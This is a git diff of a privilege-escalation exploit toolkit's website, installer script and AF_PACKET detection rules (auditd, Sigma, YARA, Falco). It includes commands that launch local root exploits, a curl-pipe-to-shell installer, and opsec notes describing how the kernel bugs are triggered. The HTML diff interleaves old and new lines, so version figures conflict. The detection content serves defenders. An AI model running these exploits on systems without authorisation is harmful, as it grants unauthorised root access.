|
||||
<strong>page-cache writes</strong> →
|
||||
<strong>userspace cred-races</strong> →
|
||||
<strong>kernel primitives</strong> →
|
||||
<strong>kernel races</strong>. The goal is to never crash a
|
||||
production box looking for root.
|
||||
</p>
|
||||
<div class="callout">
|
||||
<div class="callout-mark">✓</div>
|
||||
<div>
|
||||
<h3>The verified-vs-claimed bar</h3>
|
||||
<p>
|
||||
Most public PoC repos hardcode offsets for one kernel build and
|
||||
silently break elsewhere. <strong>SKELETONKEY refuses to ship
|
||||
fabricated offsets.</strong> The shared <code>--full-chain</code>
|
||||
finisher returns <code>EXPLOIT_OK</code> only when a setuid
|
||||
bash sentinel file <em>actually appears</em>. Modules with a
|
||||
primitive but no portable cred-overwrite chain default to
|
||||
firing the primitive + grooming the slab + recording a witness,
|
||||
then return <code>EXPLOIT_FAIL</code> with diagnostic.
|
||||
Operators populate the offset table once per kernel via
|
||||
<code>--dump-offsets</code> and upstream the entry via PR.
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<section>
|
||||
<!-- ──────────────── QUICKSTART ──────────────── -->
|
||||
<section id="quickstart" class="section reveal">
|
||||
<div class="container">
|
||||
<h2>The verified-vs-claimed bar</h2>
|
||||
<p class="lead">
|
||||
Most public PoC repos hardcode offsets for one kernel build and
|
||||
silently break elsewhere. SKELETONKEY refuses to ship fabricated
|
||||
offsets.
|
||||
</p>
|
||||
<ul class="tight">
|
||||
<li>The shared <code>--full-chain</code> finisher returns <code>EXPLOIT_OK</code> only when a setuid bash sentinel file <em>actually appears</em></li>
|
||||
<li>Modules with a primitive but no portable cred-overwrite chain default to firing the primitive + grooming the slab + recording a witness, then return <code>EXPLOIT_FAIL</code> with diagnostic</li>
|
||||
<li>Operators populate the offset table once per kernel via <code>skeletonkey --dump-offsets</code> (parses <code>/proc/kallsyms</code> or <code>/boot/System.map</code>) and upstream the entry via PR — see <a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/CONTRIBUTING.md">CONTRIBUTING.md</a></li>
|
||||
</ul>
|
||||
</div>
|
||||
</section>
|
||||
<div class="section-head">
|
||||
<span class="section-tag">quickstart</span>
|
||||
<h2>Five commands.</h2>
|
||||
</div>
|
||||
|
||||
<section>
|
||||
<div class="container">
|
||||
<h2>Quickstart commands</h2>
|
||||
<div class="tabs" role="tablist">
|
||||
<button class="tab active" data-tab="install" role="tab">install</button>
|
||||
<button class="tab" data-tab="scan" role="tab">scan</button>
|
||||
<button class="tab" data-tab="explain" role="tab">explain</button>
|
||||
<button class="tab" data-tab="auto" role="tab">auto</button>
|
||||
<button class="tab" data-tab="detect" role="tab">detect-rules</button>
|
||||
</div>
|
||||
|
||||
<pre class="code"><span class="cmt"># Install (x86_64 / arm64; checksum-verified)</span>
|
||||
<div class="tab-panel active" data-tab="install">
|
||||
<pre class="code"><span class="cmt"># install (x86_64 / arm64; checksum-verified)</span>
|
||||
<span class="prompt">$</span> curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh
|
||||
|
||||
<span class="cmt"># What's this box vulnerable to? (no sudo)</span>
|
||||
<span class="cmt"># default is the musl-static x86_64 binary — works back to glibc 2.17</span></pre>
|
||||
</div>
|
||||
<div class="tab-panel" data-tab="scan">
|
||||
<pre class="code"><span class="cmt"># inventory — no sudo needed</span>
|
||||
<span class="prompt">$</span> skeletonkey --scan
|
||||
|
||||
<span class="cmt"># Pick the safest LPE and run it</span>
|
||||
<span class="cmt"># or machine-readable for a SIEM</span>
|
||||
<span class="prompt">$</span> skeletonkey --scan --json | jq '.findings[] | select(.verdict == "VULNERABLE")'</pre>
|
||||
</div>
|
||||
<div class="tab-panel" data-tab="explain">
|
||||
<pre class="code"><span class="cmt"># one-page operator briefing for a single CVE</span>
|
||||
<span class="prompt">$</span> skeletonkey --explain nf_tables
|
||||
<span class="cmt"># shows CVE/CWE/ATT&CK/KEV header, host fingerprint, live trace,</span>
|
||||
<span class="cmt"># verdict, OPSEC footprint, detection coverage. Paste into your ticket.</span></pre>
|
||||
</div>
|
||||
<div class="tab-panel" data-tab="auto">
|
||||
<pre class="code"><span class="cmt"># pick the safest exploit and run it</span>
|
||||
<span class="prompt">$</span> skeletonkey --auto --i-know
|
||||
<span class="cmt"># --dry-run for "what would it do?" without launching</span>
|
||||
<span class="prompt">$</span> skeletonkey --auto --dry-run</pre>
|
||||
</div>
|
||||
<div class="tab-panel" data-tab="detect">
|
||||
<pre class="code"><span class="cmt"># deploy SIEM coverage (needs sudo to write to /etc/audit/rules.d/)</span>
|
||||
<span class="prompt">$</span> skeletonkey --detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-skeletonkey.rules
|
||||
<span class="prompt">$</span> sudo augenrules --load
|
||||
|
||||
<span class="cmt"># Deploy detection rules (needs sudo to write into /etc/audit/rules.d/)</span>
|
||||
<span class="prompt">$</span> skeletonkey --detect-rules --format=auditd \
|
||||
| sudo tee /etc/audit/rules.d/99-skeletonkey.rules
|
||||
|
||||
<span class="cmt"># Fleet scan — many hosts via SSH, aggregated JSON for SIEM</span>
|
||||
<span class="prompt">$</span> ./tools/skeletonkey-fleet-scan.sh --binary skeletonkey \
|
||||
--ssh-key ~/.ssh/id_rsa hosts.txt</pre>
|
||||
<span class="cmt"># or in YAML for falco / sigma / yara</span>
|
||||
<span class="prompt">$</span> skeletonkey --detect-rules --format=falco > /etc/falco/skeletonkey_rules.yaml</pre>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<section>
|
||||
<!-- ──────────────── ROADMAP / TIMELINE ──────────────── -->
|
||||
<section class="section section-timeline reveal">
|
||||
<div class="container">
|
||||
<h2>Status</h2>
|
||||
<p class="lead">
|
||||
<strong>v0.5.0</strong> cut 2026-05-17. 28 verified modules build
|
||||
clean on Debian 13 (kernel 6.12) and refuse cleanly on patched
|
||||
hosts; 3 further modules (dirtydecrypt, fragnesia, pack2theroot)
|
||||
are ported from public PoCs but not yet VM-verified.
|
||||
Empirical end-to-end validation on a vulnerable-kernel VM matrix
|
||||
is the next roadmap item; until then, the corpus is best
|
||||
understood as "compiles + detects + structurally correct +
|
||||
honest on failure."
|
||||
</p>
|
||||
<p style="margin-top:1rem">
|
||||
<a class="btn" href="https://github.com/KaraZajac/SKELETONKEY/blob/main/ROADMAP.md">Read the roadmap</a>
|
||||
<a class="btn" href="https://github.com/KaraZajac/SKELETONKEY/blob/main/CONTRIBUTING.md">How to contribute</a>
|
||||
<div class="section-head">
|
||||
<span class="section-tag">where we are</span>
|
||||
<h2>Recently shipped · in flight · next.</h2>
|
||||
</div>
|
||||
|
||||
<div class="timeline">
|
||||
<div class="tl-col tl-shipped">
|
||||
<div class="tl-tag">shipped</div>
|
||||
<ul>
|
||||
<li><strong>28 of 38 CVEs empirically verified</strong> in real Linux VMs</li>
|
||||
<li><strong>kernel.ubuntu.com/mainline/</strong> kernel fetch path — unblocks pin-not-in-apt targets</li>
|
||||
<li>Per-module <code>verified_on[]</code> table baked into the binary</li>
|
||||
<li><strong>--explain mode</strong> — one-page operator briefing per CVE</li>
|
||||
<li><strong>OPSEC notes</strong> — per-module runtime footprint</li>
|
||||
<li><strong>CISA KEV + NVD CWE + MITRE ATT&CK</strong> metadata pipeline</li>
|
||||
<li>151 detection rules across all four SIEM formats</li>
|
||||
<li><code>core/host.c</code> shared host-fingerprint refactor</li>
|
||||
<li>88-test harness (kernel_range + detect integration)</li>
|
||||
</ul>
|
||||
</div>
|
||||
<div class="tl-col tl-active">
|
||||
<div class="tl-tag">in flight</div>
|
||||
<ul>
|
||||
<li>9 deferred TOO_TIGHT kernel-range drift findings</li>
|
||||
<li>PackageKit provisioner so pack2theroot can hit the VULNERABLE path</li>
|
||||
<li>Custom Vagrant box for kernels ≤ 4.4 (unblock dirty_cow verification)</li>
|
||||
</ul>
|
||||
</div>
|
||||
<div class="tl-col tl-next">
|
||||
<div class="tl-tag">next</div>
|
||||
<ul>
|
||||
<li>arm64 musl-static binary (Raspberry-Pi-class deployments)</li>
|
||||
<li>Mass-fleet scan aggregator → heat-map dashboard</li>
|
||||
<li>SIEM query templates (Splunk SPL, Elastic KQL, Sentinel KQL)</li>
|
||||
<li>CWE / ATT&CK filter for <code>--scan --json</code></li>
|
||||
<li>CI hardening: clang-tidy, scan-build, drift-check job</li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<p class="tl-foot">
|
||||
Full roadmap and contribution guide:
|
||||
<a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/ROADMAP.md">ROADMAP.md</a>
|
||||
·
|
||||
<a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/CONTRIBUTING.md">CONTRIBUTING.md</a>
|
||||
</p>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<footer>
|
||||
<div class="container">
|
||||
<!-- ──────────────── FOOTER ──────────────── -->
|
||||
<footer class="footer">
|
||||
<div class="container footer-inner">
|
||||
<div class="footer-col">
|
||||
<div class="footer-brand">
|
||||
<span class="nav-mark" aria-hidden="true">◆</span>
|
||||
SKELETONKEY
|
||||
</div>
|
||||
<p class="footer-tag">
|
||||
Curated Linux LPE corpus with SOC-ready detection rules. One
|
||||
binary, no SaaS, no telemetry. MIT licensed.
|
||||
</p>
|
||||
</div>
|
||||
<div class="footer-col">
|
||||
<h4>Project</h4>
|
||||
<ul>
|
||||
<li><a href="https://github.com/KaraZajac/SKELETONKEY">Source</a></li>
|
||||
<li><a href="https://github.com/KaraZajac/SKELETONKEY/releases">Releases</a></li>
|
||||
<li><a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/CVES.md">CVE inventory</a></li>
|
||||
<li><a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/ROADMAP.md">Roadmap</a></li>
|
||||
</ul>
|
||||
</div>
|
||||
<div class="footer-col">
|
||||
<h4>Docs</h4>
|
||||
<ul>
|
||||
<li><a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/ARCHITECTURE.md">Architecture</a></li>
|
||||
<li><a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/DETECTION_PLAYBOOK.md">Detection playbook</a></li>
|
||||
<li><a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/JSON_SCHEMA.md">JSON schema</a></li>
|
||||
<li><a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/OFFSETS.md">Offsets</a></li>
|
||||
</ul>
|
||||
</div>
|
||||
<div class="footer-col">
|
||||
<h4>Ethics</h4>
|
||||
<ul>
|
||||
<li><a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/ETHICS.md">ETHICS.md</a></li>
|
||||
<li><a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/DEFENDERS.md">For defenders</a></li>
|
||||
<li><a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/CONTRIBUTING.md">Contribute</a></li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
<div class="container footer-bottom">
|
||||
<p>
|
||||
Each module credits the original CVE reporter and PoC author in its
|
||||
<code>NOTICE.md</code>. The research credit belongs to the people
|
||||
who found the bugs.
|
||||
</p>
|
||||
<p>
|
||||
MIT licensed ·
|
||||
<a href="https://github.com/KaraZajac/SKELETONKEY">github.com/KaraZajac/SKELETONKEY</a>
|
||||
<p class="footer-meta">
|
||||
v0.9.11 · MIT · <a href="https://github.com/KaraZajac/SKELETONKEY">github.com/KaraZajac/SKELETONKEY</a>
|
||||
</p>
|
||||
</div>
|
||||
</footer>
|
||||
|
||||
<script>
|
||||
function copyInstall(btn) {
|
||||
var cmd = document.getElementById('install-cmd').innerText.replace(/^\$\s*/, '');
|
||||
navigator.clipboard.writeText(cmd).then(function() {
|
||||
btn.textContent = 'copied!';
|
||||
btn.classList.add('copied');
|
||||
setTimeout(function() {
|
||||
btn.textContent = 'copy';
|
||||
btn.classList.remove('copied');
|
||||
}, 1500);
|
||||
});
|
||||
}
|
||||
|
||||
</script>
|
||||
<script src="app.js" defer></script>
|
||||
|
||||
</body>
|
||||
</html>
|
||||
|
||||
BIN
Binary file not shown.
|
After Width: | Height: | Size: 123 KiB |
+85
@@ -0,0 +1,85 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<svg xmlns="http://www.w3.org/2000/svg" width="1200" height="630" viewBox="0 0 1200 630">
|
||||
<defs>
|
||||
<linearGradient id="bg" x1="0" y1="0" x2="1" y2="1">
|
||||
<stop offset="0" stop-color="#07070d"/>
|
||||
<stop offset="1" stop-color="#0c0c16"/>
|
||||
</linearGradient>
|
||||
<linearGradient id="brand" x1="0" y1="0" x2="1" y2="0">
|
||||
<stop offset="0" stop-color="#10b981"/>
|
||||
<stop offset="1" stop-color="#06b6d4"/>
|
||||
</linearGradient>
|
||||
<radialGradient id="glow1" cx="0.2" cy="0.3" r="0.6">
|
||||
<stop offset="0" stop-color="#10b981" stop-opacity="0.18"/>
|
||||
<stop offset="1" stop-color="#10b981" stop-opacity="0"/>
|
||||
</radialGradient>
|
||||
<radialGradient id="glow2" cx="0.85" cy="0.8" r="0.5">
|
||||
<stop offset="0" stop-color="#a855f7" stop-opacity="0.16"/>
|
||||
<stop offset="1" stop-color="#a855f7" stop-opacity="0"/>
|
||||
</radialGradient>
|
||||
</defs>
|
||||
|
||||
<!-- backgrounds -->
|
||||
<rect width="1200" height="630" fill="url(#bg)"/>
|
||||
<rect width="1200" height="630" fill="url(#glow1)"/>
|
||||
<rect width="1200" height="630" fill="url(#glow2)"/>
|
||||
|
||||
<!-- diamond mark -->
|
||||
<g transform="translate(80,140)">
|
||||
<rect x="0" y="0" width="36" height="36" transform="rotate(45 18 18)" fill="url(#brand)"/>
|
||||
</g>
|
||||
|
||||
<!-- wordmark -->
|
||||
<text x="142" y="170" font-family="'Space Grotesk','Inter',sans-serif" font-weight="700" font-size="68" fill="#ecedf7" letter-spacing="-2">
|
||||
SKELETONKEY
|
||||
</text>
|
||||
|
||||
<!-- tagline -->
|
||||
<text x="80" y="240" font-family="'Inter',sans-serif" font-size="30" fill="#c5c5d3" font-weight="500">
|
||||
Curated Linux LPE corpus.
|
||||
</text>
|
||||
<text x="80" y="278" font-family="'Inter',sans-serif" font-size="30" fill="#c5c5d3" font-weight="500">
|
||||
Every year 2016 → 2026. 28 of 34 verified.
|
||||
</text>
|
||||
|
||||
<!-- stat chips -->
|
||||
<g transform="translate(80,360)">
|
||||
<!-- 39 modules -->
|
||||
<rect x="0" y="0" width="190" height="58" rx="29" fill="#161628" stroke="#25253c"/>
|
||||
<text x="28" y="38" font-family="'JetBrains Mono',monospace" font-weight="700" font-size="22" fill="#ecedf7">39</text>
|
||||
<text x="64" y="37" font-family="'Inter',sans-serif" font-size="16" fill="#8a8a9d">modules</text>
|
||||
|
||||
<!-- 28 VM-verified -->
|
||||
<rect x="206" y="0" width="240" height="58" rx="29" fill="#161628" stroke="#10b981" stroke-opacity="0.5"/>
|
||||
<text x="234" y="38" font-family="'JetBrains Mono',monospace" font-weight="700" font-size="22" fill="#34d399">28</text>
|
||||
<text x="270" y="37" font-family="'Inter',sans-serif" font-size="16" fill="#8a8a9d">✓ VM-verified</text>
|
||||
|
||||
<!-- 12 KEV -->
|
||||
<rect x="482" y="0" width="218" height="58" rx="29" fill="#161628" stroke="#ef4444" stroke-opacity="0.4"/>
|
||||
<text x="510" y="38" font-family="'JetBrains Mono',monospace" font-weight="700" font-size="22" fill="#ef4444">12</text>
|
||||
<text x="546" y="37" font-family="'Inter',sans-serif" font-size="16" fill="#8a8a9d">★ in CISA KEV</text>
|
||||
|
||||
<!-- 151 rules -->
|
||||
<rect x="736" y="0" width="232" height="58" rx="29" fill="#161628" stroke="#25253c"/>
|
||||
<text x="764" y="38" font-family="'JetBrains Mono',monospace" font-weight="700" font-size="22" fill="#ecedf7">151</text>
|
||||
<text x="810" y="37" font-family="'Inter',sans-serif" font-size="16" fill="#8a8a9d">detection rules</text>
|
||||
</g>
|
||||
|
||||
<!-- terminal mockup -->
|
||||
<g transform="translate(80,478)">
|
||||
<rect x="0" y="0" width="1040" height="92" rx="12" fill="#0a0a14" stroke="#25253c"/>
|
||||
<!-- bar -->
|
||||
<circle cx="22" cy="22" r="6" fill="#ff5f57"/>
|
||||
<circle cx="42" cy="22" r="6" fill="#febc2e"/>
|
||||
<circle cx="62" cy="22" r="6" fill="#28c840"/>
|
||||
<line x1="0" y1="44" x2="1040" y2="44" stroke="#1c1c2d"/>
|
||||
<text x="24" y="78" font-family="'JetBrains Mono',monospace" font-size="20" fill="#ecedf7">
|
||||
<tspan fill="#10b981">$</tspan> skeletonkey --explain nf_tables <tspan fill="#5b5b75"># operator briefing in one command</tspan>
|
||||
</text>
|
||||
</g>
|
||||
|
||||
<!-- subtle url at very bottom -->
|
||||
<text x="1120" y="610" font-family="'JetBrains Mono',monospace" font-size="14" fill="#5b5b75" text-anchor="end">
|
||||
karazajac.github.io/SKELETONKEY
|
||||
</text>
|
||||
</svg>
|
||||
|
After Width: | Height: | Size: 4.0 KiB |
+913
-190
File diff suppressed because it is too large
Load Diff
+65
-18
@@ -19,21 +19,48 @@
|
||||
# 0 — installed successfully
|
||||
# 1 — error (unsupported arch, download failure, permission denied)
|
||||
|
||||
set -euo pipefail
|
||||
# POSIX-friendly: -eu is universal, pipefail only on shells that
|
||||
# support it (bash, ksh, dash >= 0.5.12). Without pipefail the
|
||||
# installer still exits on the first hard error since every curl/
|
||||
# tar/install step is checked explicitly.
|
||||
set -eu
|
||||
(set -o pipefail) 2>/dev/null && set -o pipefail || true
|
||||
|
||||
REPO="${SKELETONKEY_REPO:-KaraZajac/SKELETONKEY}"
|
||||
VERSION="${SKELETONKEY_VERSION:-latest}"
|
||||
PREFIX="${SKELETONKEY_PREFIX:-/usr/local/bin}"
|
||||
# PREFIX resolution is deferred until install time so we can pick a
|
||||
# sudo-free default. SKELETONKEY is a privilege-escalation tool — by
|
||||
# definition the operator does NOT have root yet, so the installer must
|
||||
# NEVER need sudo. Empty here means "auto-pick a writable dir below".
|
||||
PREFIX="${SKELETONKEY_PREFIX:-}"
|
||||
|
||||
log() { printf '[\033[1;36m*\033[0m] %s\n' "$*" >&2; }
|
||||
ok() { printf '[\033[1;32m+\033[0m] %s\n' "$*" >&2; }
|
||||
fail() { printf '[\033[1;31m-\033[0m] %s\n' "$*" >&2; exit 1; }
|
||||
|
||||
# Detect architecture
|
||||
# Detect architecture. Default to the musl-static binary on both
|
||||
# x86_64 and arm64 — works on every libc (glibc 2.x of any version,
|
||||
# musl, uclibc); costs ~800 KB extra vs dynamic but eliminates the
|
||||
# GLIBC_2.NN portability ceiling that bites on Debian-stable, older
|
||||
# RHEL hosts, and Alpine. Set SKELETONKEY_DYNAMIC=1 to fetch the
|
||||
# smaller dynamic build (needs glibc >= 2.38 for x86_64 — Ubuntu
|
||||
# 24.04 / Debian 13 / RHEL 10).
|
||||
arch=$(uname -m)
|
||||
case "$arch" in
|
||||
x86_64|amd64) target=x86_64 ;;
|
||||
aarch64|arm64) target=arm64 ;;
|
||||
x86_64|amd64)
|
||||
if [ "${SKELETONKEY_DYNAMIC:-0}" = "1" ]; then
|
||||
target=x86_64
|
||||
else
|
||||
target=x86_64-static
|
||||
fi
|
||||
;;
|
||||
aarch64|arm64)
|
||||
if [ "${SKELETONKEY_DYNAMIC:-0}" = "1" ]; then
|
||||
target=arm64
|
||||
else
|
||||
target=arm64-static
|
||||
fi
|
||||
;;
|
||||
*) fail "Unsupported architecture: $arch (only x86_64 and arm64 currently)" ;;
|
||||
esac
|
||||
log "detected arch: $target"
|
||||
@@ -85,29 +112,49 @@ fi
|
||||
|
||||
chmod +x "$tmp/skeletonkey"
|
||||
|
||||
# Install. Try $PREFIX directly; if not writable, sudo.
|
||||
target_path="$PREFIX/skeletonkey"
|
||||
if [ -w "$PREFIX" ] || [ "$(id -u)" -eq 0 ]; then
|
||||
mv "$tmp/skeletonkey" "$target_path"
|
||||
elif command -v sudo >/dev/null 2>&1; then
|
||||
log "$PREFIX needs sudo; you may be prompted for password"
|
||||
sudo mv "$tmp/skeletonkey" "$target_path"
|
||||
# Choose install dir — NEVER escalate to sudo. If the user pinned
|
||||
# SKELETONKEY_PREFIX we honor it exactly (creating it if needed) and
|
||||
# error rather than escalate when it isn't writable. Otherwise prefer
|
||||
# /usr/local/bin only when it happens to already be writable, and fall
|
||||
# back to a guaranteed per-user dir ($HOME/.local/bin) that needs no
|
||||
# privileges. This keeps `curl ... | sh` password-free for the exact
|
||||
# users this tool is meant for: unprivileged accounts.
|
||||
if [ -n "$PREFIX" ]; then
|
||||
[ -d "$PREFIX" ] || mkdir -p "$PREFIX" 2>/dev/null \
|
||||
|| fail "cannot create SKELETONKEY_PREFIX=$PREFIX"
|
||||
[ -w "$PREFIX" ] || fail "SKELETONKEY_PREFIX=$PREFIX not writable (the installer never uses sudo — pick a writable dir)"
|
||||
elif [ -w /usr/local/bin ]; then
|
||||
PREFIX=/usr/local/bin
|
||||
else
|
||||
fail "$PREFIX not writable and sudo not available. Try SKELETONKEY_PREFIX=\$HOME/.local/bin"
|
||||
PREFIX="${XDG_BIN_HOME:-$HOME/.local/bin}"
|
||||
mkdir -p "$PREFIX" 2>/dev/null || fail "cannot create $PREFIX"
|
||||
fi
|
||||
|
||||
target_path="$PREFIX/skeletonkey"
|
||||
mv "$tmp/skeletonkey" "$target_path" || fail "failed to install to $target_path"
|
||||
ok "installed: $target_path"
|
||||
|
||||
# ~/.local/bin is frequently absent from PATH on fresh accounts — tell
|
||||
# the user how to invoke it rather than letting `skeletonkey` 404.
|
||||
case ":$PATH:" in
|
||||
*":$PREFIX:"*) : ;;
|
||||
*) log "note: $PREFIX is not on \$PATH — run it as $target_path, or add the dir to PATH" ;;
|
||||
esac
|
||||
|
||||
"$target_path" --version
|
||||
|
||||
cat >&2 <<EOF
|
||||
|
||||
[\033[1;33m!\033[0m] AUTHORIZED TESTING ONLY — see https://github.com/${REPO}/blob/main/docs/ETHICS.md
|
||||
|
||||
Quickstart:
|
||||
sudo skeletonkey --scan # what's this box vulnerable to?
|
||||
sudo skeletonkey --audit # broader system hygiene
|
||||
sudo skeletonkey --detect-rules --format=auditd \\
|
||||
| sudo tee /etc/audit/rules.d/99-skeletonkey.rules # deploy detection rules
|
||||
Quickstart (no root required — gaining it is the point):
|
||||
skeletonkey --scan # what's this box vulnerable to?
|
||||
skeletonkey --audit # broader system hygiene
|
||||
skeletonkey --auto --i-know # run the safest available LPE
|
||||
|
||||
Deploy detection rules (defensive; only the write to /etc/audit needs root):
|
||||
skeletonkey --detect-rules --format=auditd \\
|
||||
| sudo tee /etc/audit/rules.d/99-skeletonkey.rules
|
||||
|
||||
See \`skeletonkey --help\` for all commands.
|
||||
EOF
|
||||
|
||||
@@ -669,6 +669,54 @@ static const char af_packet2_auditd[] =
|
||||
"# non-root via userns is the canonical footprint.\n"
|
||||
"-a always,exit -F arch=b64 -S socket -F a0=17 -k skeletonkey-af-packet\n";
|
||||
|
||||
static const char af_packet2_sigma[] =
|
||||
"title: Possible CVE-2020-14386 AF_PACKET VLAN underflow exploitation\n"
|
||||
"id: b83c6fa2-skeletonkey-af-packet2\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects the AF_PACKET TPACKET_V2 nested-VLAN frame pattern:\n"
|
||||
" unshare(CLONE_NEWUSER|CLONE_NEWNET) followed by socket(AF_PACKET),\n"
|
||||
" PACKET_RX_RING setsockopt, and a sendmmsg burst (>=64) on a unix\n"
|
||||
" socketpair spray. False positives: legitimate packet capture in\n"
|
||||
" rootless containers.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" userns: {type: 'SYSCALL', syscall: 'unshare'}\n"
|
||||
" afp: {type: 'SYSCALL', syscall: 'socket', a0: 17}\n"
|
||||
" send_burst:{type: 'SYSCALL', syscall: 'sendmmsg'}\n"
|
||||
" condition: userns and afp and send_burst\n"
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2020.14386]\n";
|
||||
|
||||
static const char af_packet2_yara[] =
|
||||
"rule af_packet2_cve_2020_14386 : cve_2020_14386 heap_spray\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2020-14386\"\n"
|
||||
" description = \"AF_PACKET VLAN-underflow spray tag (skeletonkey-afp-fc-)\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $tag = \"skeletonkey-afp-fc-\" ascii\n"
|
||||
" condition:\n"
|
||||
" $tag\n"
|
||||
"}\n";
|
||||
|
||||
static const char af_packet2_falco[] =
|
||||
"- rule: AF_PACKET TPACKET_V2 nested-VLAN trigger by non-root\n"
|
||||
" desc: |\n"
|
||||
" A non-root process sets up TPACKET_V2 and sends a burst of\n"
|
||||
" sendmmsg packets carrying nested VLAN tags (CVE-2020-14386\n"
|
||||
" trigger). False positives: legitimate VLAN/network capture\n"
|
||||
" tools in unprivileged containers.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = sendmmsg and fd.type = socket and\n"
|
||||
" fd.sockfamily = AF_PACKET and not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" sendmmsg burst on AF_PACKET socket by non-root\n"
|
||||
" (user=%user.name pid=%proc.pid vlen=%evt.arg.vlen)\n"
|
||||
" priority: HIGH\n"
|
||||
" tags: [network, mitre_privilege_escalation, T1068, cve.2020.14386]\n";
|
||||
|
||||
const struct skeletonkey_module af_packet2_module = {
|
||||
.name = "af_packet2",
|
||||
.cve = "CVE-2020-14386",
|
||||
@@ -680,9 +728,11 @@ const struct skeletonkey_module af_packet2_module = {
|
||||
.mitigate = NULL,
|
||||
.cleanup = NULL,
|
||||
.detect_auditd = af_packet2_auditd,
|
||||
.detect_sigma = NULL,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_sigma = af_packet2_sigma,
|
||||
.detect_yara = af_packet2_yara,
|
||||
.detect_falco = af_packet2_falco,
|
||||
.opsec_notes = "unshare(CLONE_NEWUSER|CLONE_NEWNET) + TPACKET_V2 ring on AF_PACKET; crafts nested-VLAN ETH_P_8021AD frames with 0x88A8/0x8100 TPIDs to trigger tpacket_rcv underflow; fires 256 frames + 64 sendmmsg via AF_UNIX socketpair spray. Tag 'skeletonkey-afp-fc-' visible in KASAN splats. Audit-visible via socket(AF_PACKET) + sendmsg/sendto from userns. No persistent artifacts; kernel cleans up on child exit.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_af_packet2(void)
|
||||
|
||||
@@ -891,6 +891,55 @@ static const char af_packet_auditd[] =
|
||||
"-a always,exit -F arch=b64 -S socket -F a0=17 -k skeletonkey-af-packet\n"
|
||||
"-a always,exit -F arch=b64 -S unshare -k skeletonkey-af-packet-userns\n";
|
||||
|
||||
static const char af_packet_sigma[] =
|
||||
"title: Possible CVE-2017-7308 AF_PACKET TPACKET_V3 exploitation\n"
|
||||
"id: a72b5e91-skeletonkey-af-packet\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects the AF_PACKET TPACKET_V3 integer-overflow setup pattern:\n"
|
||||
" unshare(CLONE_NEWUSER|CLONE_NEWNET) followed by socket(AF_PACKET)\n"
|
||||
" and a PACKET_RX_RING setsockopt + sendmmsg burst. False positives:\n"
|
||||
" network sandboxes / containers running raw-packet apps inside\n"
|
||||
" userns; correlate process tree to distinguish.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" userns: {type: 'SYSCALL', syscall: 'unshare'}\n"
|
||||
" afp: {type: 'SYSCALL', syscall: 'socket', a0: 17}\n"
|
||||
" send_burst:{type: 'SYSCALL', syscall: 'sendmmsg'}\n"
|
||||
" condition: userns and afp and send_burst\n"
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2017.7308]\n";
|
||||
|
||||
static const char af_packet_yara[] =
|
||||
"rule af_packet_cve_2017_7308 : cve_2017_7308 heap_spray\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2017-7308\"\n"
|
||||
" description = \"AF_PACKET TPACKET_V3 spray tag from skeletonkey/iam-root tooling\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $tag1 = \"iamroot-afp-tag\" ascii\n"
|
||||
" $tag2 = \"skeletonkey-afp-fc-\" ascii\n"
|
||||
" condition:\n"
|
||||
" any of them\n"
|
||||
"}\n";
|
||||
|
||||
static const char af_packet_falco[] =
|
||||
"- rule: AF_PACKET TPACKET_V3 setup by non-root in userns\n"
|
||||
" desc: |\n"
|
||||
" A non-root process creates an AF_PACKET socket and sets up a\n"
|
||||
" TPACKET_V3 ring inside a user namespace. CVE-2017-7308 trigger\n"
|
||||
" requires CAP_NET_RAW which userns provides. False positives:\n"
|
||||
" legitimate packet-capture tools running rootless (rare).\n"
|
||||
" condition: >\n"
|
||||
" evt.type = setsockopt and evt.arg.optname contains PACKET_RX_RING\n"
|
||||
" and not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" AF_PACKET TPACKET_V3 ring setup by non-root\n"
|
||||
" (user=%user.name proc=%proc.name pid=%proc.pid)\n"
|
||||
" priority: HIGH\n"
|
||||
" tags: [network, mitre_privilege_escalation, T1068, cve.2017.7308]\n";
|
||||
|
||||
const struct skeletonkey_module af_packet_module = {
|
||||
.name = "af_packet",
|
||||
.cve = "CVE-2017-7308",
|
||||
@@ -902,9 +951,11 @@ const struct skeletonkey_module af_packet_module = {
|
||||
.mitigate = NULL,
|
||||
.cleanup = NULL,
|
